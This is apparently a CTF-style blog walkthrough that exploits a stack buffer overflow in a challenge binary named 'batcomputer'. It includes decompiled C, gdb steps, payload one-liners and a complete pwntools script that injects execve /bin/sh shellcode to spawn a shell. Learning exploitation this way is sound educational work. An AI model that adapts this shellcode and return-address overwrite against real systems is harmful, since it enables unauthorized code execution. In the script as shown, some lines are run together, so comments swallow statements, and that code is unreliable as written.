How to Exploit a Buffer Overflow Vulnerability

Introduction

Buffer Overflow Video Walkthrough

Optional Materials to Follow Along

Initial Triage

File output
File output
Examining the dynamic symbols
Examining the dynamic symbols
Strings output
Strings output
Checksec output
Checksec output
batcomputer segments
batcomputer segments

Static Analysis in Ghidra

Analyzing the main function part 1
Analyzing the main function part 1
void setbuffers()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
More of the main function
More of the main function
scanf format specifier is %d
scanf format specifier is %d
setbuffers();
memset(buffer, 0, 0x10);
printf("Prompt...\n");
scanf("%d", &choice);
if(choice == 1) // Do something
More of the main function
More of the main function
setbuffers();
while(true)
{
memset(buffer, 0, 0x10);
printf("Prompt...\n");
scanf("%d", &choice);
if(choice == 1)
printf("Here is the Joker: %p\n", &joker_location);
}
Checking the password
Checking the password
Password format specifier
Password format specifier
setbuffers();
while(true)
{
memset(password, 0, 0x10);
printf("Prompt...\n");
scanf("%d", &choice);
if(choice == 1)
printf("Here is the Joker: %p\n", &joker_location);
else if(choice == 2)
{
printf("Enter the password: ");
scanf("%15s", &password);
if(strcmp(password, "b4tp@$$w0rd!") == 0)
// They are equal
// Do stuff
}
}
Last bit of the main function
Last bit of the main function
setbuffers();
while(true)
{
memset(password, 0, 0x10);
printf("Prompt...\n");
scanf("%d", &choice);
if(choice == 1)
printf("Here is the Joker: %p\n", &joker_location);
else if(choice == 2)
{
printf("Enter the password: ");
scanf("%15s", &password);
if(strcmp(password, "b4tp@$$w0rd!") == 0)
{
printf("Access granted\nEnter navigation commands: ");
read(0, joker_location, 0x89);
printf("Roger that\n");
}
else
{
pritnf("Wrong password!\n");
exit(0);
}
}
else break;
}
printf("Who's going to save Gotham?\n");

Developing an Exploit

python3 -c 'import sys,time; l1 = b"2\n"; l2 = b"b4tp@$$w0rd!\n"; l3 = b"A"*137; sys.stdout.buffer.write(l1); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l2); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l3); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(b"3");' > crash_binary
Verifying the one-liner works
Verifying the one-liner works
We successfully crashed the binary
We successfully crashed the binary
Getting information about the binary from gdb
Getting information about the binary from gdb
Finding the main function
Finding the main function
Main function in gdb
Main function in gdb
Crashing the binary in gdb
Crashing the binary in gdb
Corrupted stack
Corrupted stack
After executing the leave instruction
After executing the leave instruction
Segmentation fault
Segmentation fault

Finding the Offset

python3 -c 'import sys,time; l1 = b"2\n"; l2 = b"b4tp@$$w0rd!\n"; l3 = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae"; sys.stdout.buffer.write(l1); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l2); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l3); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(b"3");' > get_offset
Overflowing the buffer with unique pattern
Overflowing the buffer with unique pattern
Offset pattern
Offset pattern
Found an exact match!
Found an exact match!

Controlling RSP

python3 -c 'import sys,time; l1 = b"2\n"; l2 = b"b4tp@$$w0rd!\n"; l3 = b"A"*84+b"B"*8; sys.stdout.buffer.write(l1); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l2); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l3); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(b"3");' > test_offset
Incorrect password
Incorrect password
Manually setting the RAX register
Manually setting the RAX register
Controlling RSP
Controlling RSP
Address of vulnerable buffer
Address of vulnerable buffer
python3 -c 'import sys,time; l1 = b"2\n"; l2 = b"b4tp@$$w0rd!\n"; l3 = b"A"*84+b"\x24\xdc\xff\xff\xff\x7f\x00\x00"; sys.stdout.buffer.write(l1); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l2); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l3); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(b"3");' > overwrite_rsp
Overwrote RSP with the address of the vulnerable buffer
Overwrote RSP with the address of the vulnerable buffer

Testing the Exploit in GDB

python3 -c 'import sys,time; l1 = b"2\n"; l2 = b"b4tp@$$w0rd!\n"; l3 = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"+ b"\x90"*55 + b"\x24\xdc\xff\xff\xff\x7f\x00\x00"; sys.stdout.buffer.write(l1); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l2); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(l3); sys.stdout.buffer.flush(); time.sleep(1); sys.stdout.buffer.write(b"3");' > spawn_shell
Executing our shellcode
Executing our shellcode
Executed shellcode
Executed shellcode

Developing a Working Exploit

#!/usr/bin/python3
from pwn import *
# Shellcode taken from http://shell-storm.org/shellcode/files/shellcode-905.php
shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
payload = b""
print("Length of shellcode: ", len(shellcode))
p = process('./batcomputer') # Start process
print(p.recvuntil(b">", drop=False))
p.sendline(b'1') # Send option 1 to get address of vulnerable buffer buff_addr = p.recvuntil(b">", drop=False)
info("Getting address of vulenrable buffer...")
buff_addr = p64(int(buff_addr[53:67], 16))
info("Vulnerable buffer address: %s" % buff_addr)
info("Generating payload...")
payload += shellcode
payload += b"\x90" * (84 - len(shellcode)) # Padding with NOPs payload += buff_addr # Tack on the address of the vulnerable buffer info("Payload generated")
info("Payload size: %d" % len(payload))
info("Payload: %s" % payload)
p.sendline(b'2')
print(p.recvuntil(b"password:", drop=False))
info("Sending password...")
p.sendline(b'b4tp@$$w0rd!')
print(p.recvuntil("commands: ", drop=False))
info("Sending payload...")
p.sendline(payload)
print(p.recvuntil("that!", drop=False))
print(p.recvuntil(b">", drop=False))
p.sendline(b'3')
info("Payload sent! Get ready for a shell!!!") print(p.recvuntil(b"Alfred?", drop=False))
p.interactive()
Popped a shell
Popped a shell

Popping a Shell and Grabbing Flags

Captured the flag!
Captured the flag!

Conclusion

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Jay Bailey

I am a beginner reverse engineering looking to improve my and (hopefully) your skills. Join me on my reversing journey!